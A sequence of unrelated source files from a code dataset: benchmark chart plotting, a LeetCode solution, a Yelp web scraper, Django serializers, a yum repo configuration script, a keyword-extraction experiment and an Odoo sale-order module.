num_benchmarks = len(benchmarks)\n totals_1 = [0. for i in range(num_benchmarks)]\n totals_2 = [0. for i in range(num_benchmarks)]\n legends_bars = []\n legends_bars_2 = []\n for i in range(len(legends_names)):\n legend_list_1 = [profile_data[\"profile1\"][b][i] for b in range(num_benchmarks)]\n legend_list_2 = [profile_data[\"profile2\"][b][i] for b in range(num_benchmarks)]\n legends_bars += [ax.bar(bar_l_1,\n legend_list_1,\n bottom=totals_1,\n label='Post Score',\n alpha=0.9,\n color=list_color_hatch_marker[i][0],\n hatch=list_color_hatch_marker[i][1],\n width=bar_width,\n edgecolor = \"none\",#'black'\n linewidth=0\n )]\n legends_bars_2 += [ax.bar(bar_l_2,\n legend_list_2,\n bottom=totals_2,\n label='Post Score',\n alpha=0.9,\n color=list_color_hatch_marker[i][0],\n hatch=list_color_hatch_marker[i][1],\n width=bar_width,\n edgecolor = \"none\",#'black'\n linewidth=0\n )]\n totals_1 = [i+j for i,j in zip(legend_list_1, totals_1)]\n totals_2 = [i+j for i,j in zip(legend_list_2, totals_2)]\n\n height_len = 1.02\n def autolabel(rects, label):\n \"\"\"\n Attach a text label above each bar displaying its height\n \"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.text(rect.get_x() + rect.get_width()/2., 100 * height_len,\n label,\n ha='center', va='bottom')\n\n autolabel(legends_bars[-1], 'C')\n autolabel(legends_bars_2[-1], 'P')\n\n plt.xticks(tick_pos, benchmarks)\n ax.set_ylabel(\"Percentage\")\n ax.set_xlabel(\"\")\n # ax.legend(legends_bars, legends_names + ['W','H'], fontsize='medium', mode=\"expand\", ncol=3, bbox_to_anchor=(0., 1.02, 1., .102), loc=3, borderaxespad=0.)\n from matplotlib.patches import Rectangle\n extra = Rectangle((0, 0), 1, 1, fc=\"w\", fill=False, edgecolor='none', linewidth=0)\n ax.legend(legends_bars + [extra, extra], legends_names + ['C: Cold Run','P: Peak'], fontsize='medium', mode=\"expand\", ncol=3, bbox_to_anchor=(0., 1.02, 1., .102), loc=3, borderaxespad=0.)\n\n # Let the borders of the graphic\n plt.xlim([-.5, num_benchmarks + bar_width])\n # print([min(tick_pos) - bar_width + 1, max(tick_pos)+ bar_width + 1])\n plt.ylim(-10, 110)\n\n # rotate axis labels\n plt.setp(plt.gca().get_xticklabels(), rotation=45, horizontalalignment='right')\n\n # shot plot\n filename = filename_prefix+\"profile\"\n benchmarks_images[filename_prefix + ' Breakdown passes'] = filename\n f.savefig(chart_dir + filename + '.png', bbox_inches='tight')\n f.savefig(chart_dir + filename + '.pdf', format='pdf', bbox_inches='tight')\n plt.close(f)\n\n\n\n# bench_profile_data\n# core_execution_time\n# data_Transfer_time\n# dependence_time\n# bound_check_time\n# translation_time\n# compilation_time\n# opencl_translation_time\n# unbox_time\nprofile_files = [\"profile1\", \"profile2\"]#, \"profileautodevice\", \"cpu1profile\"]\ndef _read_profile_results():\n\n legends_names = [\"Guards Optimization\",\n \"Unboxing\",\n \"Dependence Analysis\",\n \"Bounds Check Optimization\",\n \"Compilation\",\n \"Data Transfer\",\n \"Kernel Execution\"]\n\n benchmarks_profiles = {}\n benchmarks_names = []\n benchmarks_total_time = []\n results_list = os.listdir(machine_results_dir)\n profile_data = {}\n for f in sorted(results_list):\n if f == 'machine.json' or not f.endswith('.json'):\n continue\n\n result_tag = f.replace('.json','').split('-')\n _type = \"hpc-rodinia\"\n _run = result_tag[-1] # run #\n if 'profile' in _run:\n # if _run in profile_files:\n with open(machine_results_dir + '/' + f) as benchmark_file:\n profile_data[_run] = json.load(benchmark_file)\n\n\n benchmarks_profiles[profile_files[0]] = []\n benchmarks_profiles[profile_files[1]] = []\n # benchmarks_profiles[profile_files[3]] = {}\n _profile1 = profile_data[profile_files[0]]\n _profile2 = profile_data[profile_files[1]]\n # _profile_autodevice = profile_data[profile_files[2]]\n\n for _single_bench in sorted(_profile1['profiling']):\n _sb = str(_single_bench.replace( _type + '.', ''))\n if _sb in blacklist_bench:\n continue\n _largest_parm = benchmarks_list[_type][1][_sb][-2]\n\n _runs = []\n # Data_Transfer = 0\n # for i in range(1,9):\n # _profile_cpu1 = profile_data[profile_files[3] + ('%d' % i)]\n # bench_profile_data = _profile_cpu1['profiling'][_single_bench][_largest_parm]\n # Data_Transfer = abs(int(bench_profile_data[ \"data_Transfer_time\" ]) - Data_Transfer)\n # _runs += [float(Data_Transfer)/1000]\n #\n # benchmarks_profiles[profile_files[3]][_sb + '.' + _largest_parm] = _runs\n\n # print(\"benchmark, kernels, Kernel Execs, Loop count, CPU, GPU\")\n\n for _single_bench in sorted(_profile1['profiling']):\n _sb = str(_single_bench.replace( _type + '.', ''))\n if _sb in blacklist_bench:\n continue\n _largest_parm = benchmarks_list[_type][1][_sb][-2]\n bench_profile_data = _profile1['profiling'][_single_bench][_largest_parm]\n\n Speculation_Elimination = int(bench_profile_data[ \"translation_time\" ])\n Unboxing = int(bench_profile_data[ \"unbox_time\" ])\n Dependence_Analysis = int(bench_profile_data[ \"dependence_time\" ])\n Bound_Check = int(bench_profile_data[ \"bound_check_time\" ])\n Compilation = int(bench_profile_data[ \"code_generation_time\" ]) + int(bench_profile_data[ \"compilation_time\" ])\n Data_Transfer = int(bench_profile_data[ \"data_transfer_time\" ])\n Kernel_Execution = int(bench_profile_data[ \"core_execution_time\" ])\n\n bench_profile_list = [Speculation_Elimination]\n bench_profile_list += [Unboxing]\n bench_profile_list += [Dependence_Analysis]\n bench_profile_list += [Bound_Check]\n bench_profile_list += [Compilation]\n bench_profile_list += [Data_Transfer]\n bench_profile_list += [Kernel_Execution]\n total_time = sum(bench_profile_list)\n total = [total_time for i in range(len(bench_profile_list))]\n\n bench_profile_list = [float(i) / j * 100 for i,j in zip(bench_profile_list, total)]\n if (100 - sum(bench_profile_list)) > 1:\n print(\"%s: %.4f\" % (_sb, sum(bench_profile_list)))\n benchmarks_profiles[profile_files[0]] += [bench_profile_list]\n benchmarks_names += [_sb]\n benchmarks_total_time += [total_time]\n\n counts = [_sb]\n counts += [int(bench_profile_data[\"total_generated_kernels\" ])]\n counts += [int(bench_profile_data[\"total_kernels_executions\"])]\n\n loopcount = int(bench_profile_data[\"total_parallel_loops\" ])\n power_of_10 = int(math.log(loopcount, 10))\n strloopcount = \"%.1f x 10%d\" % (float(loopcount) / (10**power_of_10), power_of_10)\n counts += [strloopcount]\n\n\n bench_profile_data = _profile2['profiling'][_single_bench][_largest_parm]\n\n # Speculation_Elimination -= int(bench_profile_data[ \"translation_time\" ])\n Speculation_Elimination = 0\n Unboxing -= int(bench_profile_data[ \"unbox_time\" ])\n # Dependence_Analysis -= int(bench_profile_data[ \"dependence_time\" ])\n Dependence_Analysis = 0\n Bound_Check -= int(bench_profile_data[ \"bound_check_time\" ])\n # Compilation -= int(bench_profile_data[ \"opencl_translation_time\" ]) + int(bench_profile_data[ \"compilation_time\" ])\n Compilation = 0\n Data_Transfer -= int(bench_profile_data[ \"data_transfer_time\" ])\n Kernel_Execution -= int(bench_profile_data[ \"core_execution_time\" ])\n\n bench_profile_list = [abs( Speculation_Elimination ) ]\n bench_profile_list += [abs( Unboxing ) ]\n bench_profile_list += [abs( Dependence_Analysis ) ]\n bench_profile_list += [abs( Bound_Check ) ]\n bench_profile_list += [abs( Compilation ) ]\n bench_profile_list += [abs( Data_Transfer ) ]\n bench_profile_list += [abs( Kernel_Execution ) ]\n total_time = sum(bench_profile_list)\n total = [total_time for i in range(len(bench_profile_list))]\n\n bench_profile_list = [float(i) / j * 100 for i,j in zip(bench_profile_list, total)]\n if (100 - sum(bench_profile_list)) > 1:\n print(\"%s: %.4f\" % (_sb, sum(bench_profile_list)))\n\n benchmarks_profiles[profile_files[1]] += [bench_profile_list]\n\n # bench_profile_data = _profile_autodevice['profiling'][_single_bench][_largest_parm]\n # devices = bench_profile_data[\"final_execution_device\" ]\n # expr_count = r\"(OpenCL (?P[a-zA-Z0-9\\.\\-\\_]+): (?P(.*?)):(?P[0-9]+))+\"\n # m = re.findall(expr_count, devices)\n #\n # counts += [0,0]\n # for d in m:\n # if \"CPU\" in d[1]:\n # counts[-2] = int(d[4])\n # if \"GPU\" in d[1]:\n # counts[-1] = int(d[4])\n #\n # print(\"%s, %d, %d, %s, %d, %d\" % tuple(counts))\n\n return legends_names, benchmarks_names, benchmarks_total_time, benchmarks_profiles\n\ndef add_figures_to_json_file(filename='figures.json'):\n figures_info = {}\n is_exists = False\n if os.path.isfile(chart_dir + filename):\n with open(chart_dir + filename, 'r') as json_figures:\n figures_info = json.load(json_figures)\n is_exists = True\n\n if is_exists:\n print('Updating %s with new figures' % filename)\n else:\n print('Creating %s with new figures' % filename)\n\n figures_info.update(benchmarks_images)\n\n dump = json.dumps(figures_info, sort_keys = True, indent = 4)\n with open(chart_dir + filename, \"w\") as txtfile:\n txtfile.write(dump)\n\ndef generate_ecoop_page_result(filename='figures.json'):\n figures_info = {}\n is_exists = False\n with open(chart_dir + filename, 'r') as json_figures:\n figures_info = json.load(json_figures)\n markdown_ecoop(figures_info)\n is_exists = True\n\n if is_exists:\n print('Page is ready')\n else:\n print('JSON file %s does not exists!' % filename)\n\n\ndef _asv_chart(args):\n if importerror:\n mx.abort(\"numpy, matplotlib, or functools library is missing.\")\n base = 'CPython'\n try:\n idx = args.index(\"--\")\n args = args[:idx]\n except ValueError:\n pass\n\n parser = ArgumentParser(\n prog=\"mx asv-chart\",\n add_help=False,\n usage=\"mx asv-chart \",\n formatter_class=RawTextHelpFormatter)\n parser.add_argument(\n \"--base\", nargs=\"?\", default=None,\n help=\"Select base benchmark.\")\n parser.add_argument(\n \"--scales\", action=\"store_true\", default=None,\n help=\"Generate scales charts all parametized benchmarks.\")\n parser.add_argument(\n \"--bars\", action=\"store_true\", default=None,\n help=\"Generate bars charts for largest parameters of the benchmarks.\")\n parser.add_argument(\n \"--bars-kdm\", action=\"store_true\", default=None,\n help=\"Generate bars charts for KDM.\")\n parser.add_argument(\n \"--steps\", action=\"store_true\", default=None,\n help=\"Generate steps charts all parametized benchmarks.\")\n parser.add_argument(\n \"--cpu-cores-steps\", action=\"store_true\", default=None,\n help=\"Generate steps charts all parametized benchmarks.\")\n parser.add_argument(\n \"--single-core-cpu\", action=\"store_true\", default=None,\n help=\"Add single core cpu without data transfer.\")\n parser.add_argument(\n \"--profile\", action=\"store_true\", default=None,\n help=\"Generate stack bars charts for all benchmarks.\")\n parser.add_argument(\n \"--benchmarks\", nargs=\"?\", default=None,\n help=\"Select a subset of benchmarks seperated with a comma, e.g --benchmarks bfs,mm,lud\")\n parser.add_argument(\n \"--systems\", nargs=\"?\", default=None,\n help=\"Select the systems which will be compared with each other seperated with a comma, e.g --systems ZipPy,PyPy3,CPython\")\n parser.add_argument(\n \"--prefix-desc-text\", nargs=\"?\", default=None,\n help=\"Prefix figure description. e.g. Figure12\")\n # parser.add_argument(\n # \"--json-figure-file\", nargs=\"?\", default=None,\n # help=\"Name of the json file that stores figure(s) information\")\n parser.add_argument(\n \"--ecoop-result-page\", action=\"store_true\", default=None,\n help=\"Generate ECOOP result page using the collected information in json file.\")\n parser.add_argument(\n \"--geomean\", action=\"store_true\", default=None,\n help=\"Generate stack bars charts for all benchmarks.\")\n parser.add_argument(\n \"-h\", \"--help\", action=\"store_true\", default=None,\n help=\"Show usage information.\")\n args = parser.parse_args(args)\n\n if args.base:\n base = args.base\n\n if not exists(asv_env + '/graphs'):\n os.mkdir(asv_env + '/graphs')\n\n if not exists(chart_dir):\n os.mkdir(chart_dir)\n\n if args.ecoop_result_page:\n generate_ecoop_page_result()\n return\n\n filename_prefix = ''\n if args.prefix_desc_text:\n filename_prefix = args.prefix_desc_text\n\n\n if args.profile:\n legends_names, benchmarks, total_times, profile_data = _read_profile_results()\n plot_stack_bars(legends_names, benchmarks, total_times, profile_data, filename_prefix=filename_prefix)\n add_figures_to_json_file()\n return\n\n systems_list = None\n if args.systems:\n systems_list = args.systems.split(',')\n\n selected_benchmarks_list = None\n if args.benchmarks:\n selected_benchmarks_list = args.benchmarks.split(',')\n\n single_benchmark = None\n if args.geomean:\n single_benchmark = 'GeoMean'\n\n interpreter_list, color_hatch_marker, benchmarks, all_benchmarks_list = _read_results(systems_list, selected_benchmarks_list)\n if base not in interpreter_list:\n mx.abort(\"Base interpreter {0} has no benchmark results.\".format(base))\n\n if args.single_core_cpu:\n new_single_core_str = 'MG-CPU1-NoDT'\n legends_names, benchmarks_names, total_times, profile_data = _read_profile_results()\n subtract_data_transfer(profile_data[profile_files[3]], benchmarks, new_single_core_str)\n interpreter_list += [new_single_core_str]\n\n benchmarks_copy = copy.deepcopy(benchmarks)\n benchmarks_geomean = do_geomean(benchmarks_copy)\n dump = json.dumps(benchmarks_geomean, sort_keys = True, indent = 4)\n with open(\"benchmarks-geomean.json\", \"w\") as txtfile:\n txtfile.write(dump)\n\n do_speedups(benchmarks_copy, base)\n dump = json.dumps(benchmarks_copy, sort_keys = True, indent = 4)\n with open(\"benchmarks-speedups-ci.json\", \"w\") as txtfile:\n txtfile.write(dump)\n # markdown_each(benchmarks, base, benchmarks_stats_each)\n\n process_plot_bars = False\n if args.bars or args.bars_kdm:\n process_plot_bars = True\n process_plot_bars_kdm = True if args.bars_kdm else False\n\n if process_plot_bars:\n # we might need to always run this\n sl = systems_list if systems_list else interpreter_list\n process_plot(benchmarks_copy, all_benchmarks_list, sl, color_hatch_marker, base, process_plot_bars_kdm, filename_prefix=filename_prefix)\n if args.scales:\n plot_scales(benchmarks_copy, all_benchmarks_list, base, filename_prefix=filename_prefix)\n\n if args.steps:\n plot_steps(benchmarks_copy, all_benchmarks_list, base, interpreter_list_steps_ordered, single_benchmark=single_benchmark, filename_prefix=filename_prefix)\n\n if args.cpu_cores_steps:\n plot_steps(benchmarks_copy, all_benchmarks_list, base, interpreter_list_cpu_cores_steps_ordered, 'cores_steps', single_benchmark=single_benchmark, filename_prefix=filename_prefix)\n\n add_figures_to_json_file()\n markdown_readme(base, signed_date, interpreters_versions, benchmarks_images, benchmarks_stats_each, benchmarks_stats_types, benchmarks_stats_overall)\n\nmx.update_commands(mx.suite('zippy'), {\n 'asv-chart' : [_asv_chart, 'Generate chart for benchmarked results.'],\n})\n","sub_path":"mx.zippy/mx_zippy_asv_chart.py","file_name":"mx_zippy_asv_chart.py","file_ext":"py","file_size_in_byte":57137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"458900994","text":"# 799. Champagne Tower\n\n# We stack glasses in a pyramid, where the first row has 1 glass, the second row has 2 glasses, and so on until the 100th row.\n# Each glass holds one cup (250ml) of champagne.\n\n# Then, some champagne is poured in the first glass at the top.\n# When the top most glass is full, any excess liquid poured will fall equally to the glass immediately to the left and right of it.\n# When those glasses become full, any excess champagne will fall equally to the left and right of those glasses, and so on.\n# (A glass at the bottom row has it's excess champagne fall on the floor.)\n\n# For example, after one cup of champagne is poured, the top most glass is full.\n# After two cups of champagne are poured, the two glasses on the second row are half full.\n# After three cups of champagne are poured, those two cups become full - there are 3 full glasses total now.\n# After four cups of champagne are poured, the third row has the middle glass half full, and the two outside glasses are a quarter full, as pictured below.\n\n\n# Now after pouring some non-negative integer cups of champagne, return how full the j-th glass in the i-th row is (both i and j are 0 indexed.)\n\n# Example 1:\n# Input: poured = 1, query_glass = 1, query_row = 1\n# Output: 0.0\n# Explanation: We poured 1 cup of champange to the top glass of the tower (which is indexed as (0, 0)).\n# There will be no excess liquid so all the glasses under the top glass will remain empty.\n\n# Example 2:\n# Input: poured = 2, query_glass = 1, query_row = 1\n# Output: 0.5\n# Explanation: We poured 2 cups of champange to the top glass of the tower (which is indexed as (0, 0)).\n# There is one cup of excess liquid. The glass indexed as (1, 0) and the glass indexed as (1, 1) will share the excess liquid equally, and each will get half cup of champange.\n\nclass ChampagneTower:\n\n def doit1(self, poured, query_row, query_glass):\n\n glasses = [[0 for _ in range(101)] for _ in range(101)]\n glasses[0][0] = poured\n\n for i in range(100):\n for j in range(101):\n if glasses[i][j] > 1:\n\n glasses[i+1][j] += (glasses[i][j] - 1) / 2\n glasses[i+1][j+1] += (glasses[i][j] - 1) / 2\n glasses[i][j] = 1\n\n return glasses[query_row][query_glass]\n\n def doit(self, poured, query_row, query_glass):\n dp = [poured]\n for i in range(1, query_row + 1):\n ndp = [0.0] * (i+1)\n for j in range(len(dp)):\n if dp[j] > 1.0:\n v = (dp[j] - 1.0) / 2\n ndp[j] += v\n ndp[j+1] += v\n dp = ndp\n return min(1.0, dp[query_glass])\n\n def doit(self, poured, query_row, query_glass):\n\n import collections\n\n def cup_vol(poured, raw, glass):\n if glass < 0 or glass > raw:\n return 0\n\n if glass == 0 and raw == 0:\n return poured\n\n if glass not in memo[raw]:\n\n left = cup_vol(poured, raw - 1, glass-1)\n right = cup_vol(poured, raw-1, glass)\n\n left = (left - 1) / 2.0 if left > 1 else 0\n right = (right - 1) / 2.0 if right > 1 else 0\n\n memo[raw][glass] = left + right\n\n return memo[raw][glass]\n\n memo = collections.defaultdict(dict)\n res = cup_vol(poured, query_row, query_glass)\n return res if res < 1.0 else 1.0\n\n\nif __name__ == \"__main__\":\n\n res = ChampagneTower().doit1(poured=1, query_glass=1, query_row=1) # 0.0\n\n res = ChampagneTower().doit1(poured=2, query_glass=1, query_row=1) # 0.5\n\n res = ChampagneTower().doit1(1000000000, 99, 99)\n\n pass\n","sub_path":"PythonLeetcode/LeetCodeE/799_ChampagneTower.py","file_name":"799_ChampagneTower.py","file_ext":"py","file_size_in_byte":3706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"309461811","text":"import os\nimport datetime\nimport numpy as np\nimport json\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom bs4 import Comment\nimport lxml\nimport re\nimport requests\nfrom langdetect import detect_langs\n\ndef get_urls(path):\n with open(path, 'r') as file:\n s = file.read()\n s = re.sub('[\\[\\]\\']', ' ', s)\n urls = s.split(',')\n # some found urls (not many! a few of them) are digits! Recheck yelp.com html file to resolve the issues.\n urls = [None if (url.strip() == 'None' or url.strip()[0].isdigit()) else url.strip() for url in urls]\n return urls\n\ndef get_yelp_data(path):\n with open(path, 'r') as file:\n raw_data = file.readlines()\n raw_data = map(lambda x: x.rstrip(), raw_data)\n json_data = '[' + ','.join(raw_data) + ']'\n df = pd.read_json(json_data)\n return df\n\ndef save_content_of_websites(output_path=None):\n path = os.path.join('..', '..', 'yelp_data', 'yelp_academic_dataset_business.json')\n df = get_yelp_data(path)\n print(df.info())\n '''\n \n RangeIndex: 209393 entries, 0 to 209392\n Data columns (total 14 columns):\n # Column Non-Null Count Dtype \n --- ------ -------------- ----- \n 0 business_id 209393 non-null object \n 1 name 209393 non-null object \n 2 address 209393 non-null object \n 3 city 209393 non-null object \n 4 state 209393 non-null object \n 5 postal_code 209393 non-null object \n 6 latitude 209393 non-null float64\n 7 longitude 209393 non-null float64\n 8 stars 209393 non-null float64\n 9 review_count 209393 non-null int64 \n 10 is_open 209393 non-null int64 \n 11 attributes 180348 non-null object \n 12 categories 208869 non-null object \n 13 hours 164550 non-null object \n dtypes: float64(3), int64(2), object(9)\n memory usage: 22.4+ MB\n '''\n n = len(df)\n urls = get_urls(os.path.join('..','..','yelp_data','saved_links.txt'))\n print('size of url list = {}'.format(len(urls)))\n urls = urls + list(np.nan for _ in range(n - len(urls)))\n\n df['url'] = urls\n df = df[pd.notnull(df['url'])]\n webpage_content = []\n c, not_found = 0, 0\n for url in df['url']:\n webpage_content.append(None)\n if c > 0 and c % 10 == 0:\n print('{}th url is processed. {} are not found'.format(c, not_found))\n try:\n page = requests.get(url, stream=True, timeout=10.0)\n page.encoding = 'utf-8'\n webpage_content[-1] = page.content\n except:\n not_found += 1\n c += 1\n df['is_eng'] = is_eng\n df['webpage_text'] = webpage_content\n\n #dt = str(datetime.datetime.now())\n #dt = dt[:dt.find('.')].replace(' ', '_').replace(':','-')i\n #file_name = 'business_{}.csv'.format(dt)\n if output_path is None:\n file_name = 'business.csv'\n\n folder_path = os.path.join('..', '..', 'yelp_data', 'updated')\n if not os.path.exists(folder_path):\n os.makedirs(folder_path)\n file_path = os.path.join(folder_path, file_name)\n else:\n file_path = os.path.join(output_path)\n\n df.to_csv(file_path, index=False, header=True)\n print('Check out{}'.format(str(file_path)))\n0\n #pd.set_option('display.max_columns', None)\n\nif __name__ == '__main__':\n save_content_of_websites()\n","sub_path":"source/get_url_links.py","file_name":"get_url_links.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"427032728","text":"from rest_framework import serializers\nfrom .models import *\nfrom rest_framework_simplejwt.serializers import TokenObtainPairSerializer\nfrom rest_framework.validators import UniqueValidator\nfrom django.contrib.auth.password_validation import validate_password\n\n\n\nclass TokenPairSerializer(TokenObtainPairSerializer):\n\n def validate(self, attrs):\n data = super(TokenPairSerializer, self).validate(attrs)\n return data\n\nclass UserSerializer(serializers.ModelSerializer):\n password = serializers.CharField(write_only=True)\n email = serializers.EmailField(validators=[UniqueValidator(queryset=User.objects.all())])\n\n class Meta:\n model = User\n exclude = \"last_login\",\"is_staff\",\"date_joined\",\"user_permissions\"\n\n\n\nclass ClientSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Client\n fields = \"__all__\"\n\n\nclass MultiplicatorSerializer(serializers.ModelSerializer):\n\n def to_representation(self, obj):\n rep = super().to_representation(obj)\n rep['distributor'] = obj.distributor.username\n return rep \n\n class Meta:\n model = Multiplicator\n fields = \"__all__\"\n\n\nclass VarietySerializer(serializers.ModelSerializer):\n \n\n class Meta:\n model = Variety\n fields = \"__all__\"\n\n\nclass PlantSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Plant\n fields = \"__all__\"\n\n\nclass SeedSerializer(serializers.ModelSerializer):\n photo = serializers.ImageField(max_length=None, use_url=True)\n def to_representation(self, obj):\n rep = super().to_representation(obj)\n rep['plant'] = obj.plant.plant\n rep['variety'] = obj.variety.nom\n return rep \n\n class Meta:\n model = Seed\n fields = '__all__'\n\nclass StockSerializer(serializers.ModelSerializer): \n \n class Meta:\n model = Stock\n fields = \"__all__\"\n\nclass AchatSerializer(serializers.ModelSerializer): \n \n class Meta:\n model = Achat\n fields = \"__all__\"\n\n\nclass VenteSerializer(serializers.ModelSerializer): \n \n class Meta:\n model = Vente\n fields = \"__all__\"","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"587978141","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# author: weiyunfei date: 2017-08-15\n\n# 自动配置服务器yum源\n# 后期添加功能:检测源是否存在 并完成相应的源检测api\n\nfrom __future__ import print_function\n\ntemplate = '''[base]\nname=CentOS-$releasever Base\nbaseurl=http://192.168.4.6/yum/{issue}\nenabled=1\ngpgcheck=0\n'''\n\ndef getIssue():\n try:\n issue = open('/etc/issue').read().split()\n except IOError as e:\n print('无法完成自动配置 请联系管理员\\n错误原因: %s' % e)\n __import__('sys').exit(2)\n return ''.join(issue[0]+issue[2])\n\ndef main():\n import os\n import shutil\n os.chdir('/etc/yum.repos.d')\n files = os.listdir('.')\n if 'bak' in files:\n os.rename('bak','bak_old')\n files = os.listdir('.')\n os.mkdir('bak')\n for f in files:\n shutil.move(f,'bak')\n open('CentOS-Base.repo','w').write(template.format(issue=getIssue()))\n print('yum源更改成功 并备份原来的配置文件到/etc/yum.repos.d/bak')\n print('手动执行: \"yum clean all && yum makecache && yum update\" 来完成更新')\n\nif __name__ == '__main__':\n main()","sub_path":"app/scripts/yumAutoConfig.py","file_name":"yumAutoConfig.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"427086606","text":"\nimport db_processing\nimport utils\nimport itertools\nfrom network2 import CNetwork\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass KeywordManager(object):\n\n def __init__(self, database, measurements):\n self.database = database\n self.measurements = measurements\n\n def get_co_ocurrency_networks(self):\n allSentences = []\n allWords = []\n local_networks = dict()\n for index, text_id in enumerate(self.database):\n text = self.database[text_id][0]\n keywords = self.database[text_id][1]\n sentences = utils.text_processing(text)\n data = list(itertools.chain.from_iterable(sentences))\n words = list(set(data))\n validKeywords = utils.keyword_processing(keywords)\n print(index + 1, text_id, len(sentences), len(words)) # , sentences)\n obj = CNetwork(sentences, words)\n local_network = obj.create_network_v2()\n local_networks[text_id] = [words, validKeywords, local_network]\n allWords.extend(words)\n allSentences.extend(sentences)\n\n allWords = list(set(allWords))\n #print(len(allSentences), allSentences)\n #print(len(allWords), allWords)\n print('Creating global network (' + str(len(allWords)) + ' nodes)')\n obj = CNetwork(allSentences, allWords)\n global_network = obj.create_network_v2()\n return allWords, global_network, local_networks\n\n\n def keyword_analysis(self):\n allWords, global_network, local_networks = self.get_co_ocurrency_networks()\n print(len(allWords), allWords)\n obj = CNetwork(words=allWords)\n print('Calculating global rankings')\n all_global_rankings = obj.get_sorted_words(global_network, self.measurements)\n print('All global rankings ...')\n print(all_global_rankings)\n\n\n\n\n results_container = dict()\n for measure in self.measurements:\n print(measure)\n results_container[measure] = [[] for _ in range(11)] ### de acuerdo a la cantidad de pesos\n\n for index, doc_id in enumerate(local_networks):\n data = local_networks[doc_id]\n words = data[0]\n reference_keywords = data[1]\n local_network = data[2]\n print(index + 1, 'network id:', doc_id, 'net size:', len(words))\n obj = CNetwork(words=words)\n all_local_rankings = obj.get_sorted_words(local_network, self.measurements)\n\n print('Local rankings')\n print(all_local_rankings)\n\n for measure in results_container:\n\n word_values = utils.get_word_ranking_values(all_global_rankings[measure], all_local_rankings[measure])\n found_keywords = utils.get_keywords(all_local_rankings[measure], word_values)\n fscores = []\n\n for position, keywords in enumerate(found_keywords):\n p,r,f1 = utils.get_acc_scores(reference_keywords, keywords[0:len(reference_keywords)])\n fscores.append(f1)\n results_container[measure][position].append(f1)\n\n print('Testing...')\n final_results = []\n for measure in results_container:\n print(measure)\n results = results_container[measure]\n print(len(results), len(results[0]),results)\n avg_results = [np.mean(res) for res in results]\n final_results.append(avg_results)\n\n\n eje_x = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n for result in final_results:\n plt.plot(eje_x, result)\n\n #x_labels = ['glob 0.0', '0.1', '0.2', '0.3', '0.4', '0.5', '0.6', '0.7', '0.8', '0.9', '1.0 loc']\n #plt.xticks(eje_x, x_labels)\n plt.legend(self.measurements)\n plt.title('Testing weight values for global and local analysis (SemEval Database, janela=1)')\n plt.xlabel('lambda values, if lambda->0.0 then global , if lambda->1 then local')\n plt.ylabel('F1-score')\n\n plt.show()\n\n\n\nif __name__ == '__main__':\n\n db = db_processing.get_database('marujoo')\n #measurements = ['dgr']\n measurements = ['btw', 'clos', 'core','dgr', 'diversity', 'eccent', 'eigen',\n 'hub', 'pr', 'clustCoeff', 'harmonic', 'accs']\n\n #measurements = ['sym_back_h2', 'sym_merg_h2', 'sym_back_h3', 'sym_merg_h3',\n #'r_sym_back_h2', 'r_sym_merg_h2', 'r_sym_back_h3', 'r_sym_merg_h3', 'accs']\n\n obj = KeywordManager(db, measurements)\n obj.keyword_analysis()\n\n\n\n\n\n","sub_path":"manager3.py","file_name":"manager3.py","file_ext":"py","file_size_in_byte":4562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"442413082","text":"# -*- coding: utf-8 -*-\n##############################################################################\n# \n# OpenERP, Open Source Enterprise Management Solution\n# Copyright (C) 2014 Net Skill Group\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see . \n#\n##############################################################################\n\nfrom __future__ import division\nfrom odoo import models, fields, api, _\nfrom odoo import exceptions\nimport odoo.addons.decimal_precision as dp\n\n\nclass sale_order(models.Model):\n _inherit = 'sale.order' \n\n @api.one\n @api.depends('order_line.cost_in_progress')\n def _compute_total_in_progress(self):\n self.total_in_progress = sum(line.cost_in_progress for line in self.proc_line_ids)\n\n total_in_progress = fields.Monetary(string='Total in Progress',compute='_compute_total_in_progress',currency_field='currency_id', groups=\"base.group_user\",store=True, readonly=True)\n\nclass sale_order_line(models.Model):\n _inherit = 'sale.order.line' \n\n @api.one\n def cancel_procurement_item(self):\n \" Cancel procurement item\"\n self.proc_line_state = \"C\"\n\n @api.depends('product_standard_price','product_uom_qty','po_line_id.price_subtotal')\n def _compute_cost_in_progress(self):\n for line in self:\n if line.po_line_id:\n cost_in_progress = line.po_line_id.price_subtotal\n else:\n cost_in_progress = line.product_standard_price * line.product_uom_qty\n line.cost_in_progress = cost_in_progress\n\n product_standard_price = fields.Float(string='Product Cost',related='product_id.standard_price', digits=dp.get_precision('Product Price'), groups=\"base.group_user\",\n help=\"Cost of the product, in the default unit of measure of the product.\")\n cost_in_progress = fields.Float(string='Cost in Progress',compute='_compute_cost_in_progress', digits=dp.get_precision('Product Price'), groups=\"base.group_user\",\n help=\"Cost of the product, in the default unit of measure of the product.\",store=True)\n \n \n 